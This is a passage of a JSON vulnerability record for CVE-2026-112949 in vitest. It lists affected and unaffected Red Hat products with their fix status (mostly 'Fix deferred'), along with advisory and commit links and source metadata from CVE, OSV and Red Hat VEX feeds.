Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["automation-gateway"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Build of Keycloak","cpe":"cpe:/a:redhat:build_keycloak:","status":"affected","packages":["keycloak-operator.redhat-00001.zip","keycloak-operator.redhat-00003.zip","rhbk-quarkus-dist.zip"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Build of Podman Desktop","cpe":"cpe:/a:redhat:podman_desktop:1","status":"affected","packages":["rh-podman-desktop"],"package_count":1,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Hardened Images","cpe":"cpe:/a:redhat:hummingbird:1","status":"not_affected","packages":["grafana13.2","prometheus3.13"],"package_count":2,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","status":"affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","cpe":"cpe:/a:redhat:jbosseapxp","status":"affected","packages":["jboss-eap-runtime-maven-repository.zip","jboss-eap.1-runtime-maven-repository.zip"],"package_count":2,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"},{"vendor":"Red Hat","product":"Red Hat Trusted Artifact Signer","cpe":"cpe:/a:redhat:trusted_artifact_signer:1","status":"affected","packages":["rhtas/rhtas-console-ui-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-112949"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112949.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-112949"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2556244"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-112949"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112949"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"}]}],"references":[{"type":"WEB","url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"},{"type":"WEB","url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"},{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-hceh-5yum-5ojb-ax5r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112949"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-112949"},{"type":"FIX","url":"https://www.cve.org/CVERecord?id=CVE-2026-112949"},{"type":"PACKAGE","url":"https://github.com/vitest-dev/vitest"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112949.json"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2556244"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-112949","url":"https://www.cve.org/CVERecord?id=CVE-2026-112949","license":"CC-BY-4.0","modified_at":"2026-10-23T01:42:51.858Z","relation":"self"},{"provider":"osv","source_id":"CLSA-2026-1793114894","url":"https://osv.dev/vulnerability/CLSA-2026-1793114894","modified_at":"2026-10-27T19:30:06.637715Z","relation":"self"},{"provider":"osv","source_id":"CLSA-2026-1793115217","url":"https://osv.dev/vulnerability/CLSA-2026-1793115217","modified_at":"2026-10-27T19:30:07.245954Z","relation":"self"},{"provider":"osv","source_id":"CLSA-2026-1793811643","url":"https://osv.dev/vulnerability/CLSA-2026-1793811643","modified_at":"2026-11-04T19:00:40.10006Z","relation":"self"},{"provider":"osv","source_id":"DHI-hceh-5yum-5ojb-ax5r","url":"https://osv.dev/vulnerability/DHI-hceh-5yum-5ojb-ax5r","license":"Apache-2.0","modified_at":"2026-11-20T02:01:06.75338Z","relation":"self"},{"provider":"osv","source_id":"GHSA-qxg6-89mg-rqv8","url":"https://osv.dev/vulnerability/GHSA-qxg6-89mg-rqv8","license":"CC-BY-4.0","modified_at":"2026-10-21T20:01:39.911013Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-112949","url":"https://access.redhat.com/security/cve/CVE-2026-112949","license":"CC-BY-4.0","modified_at":"2026-10-29T16:54:32Z","relation":"self"}]}
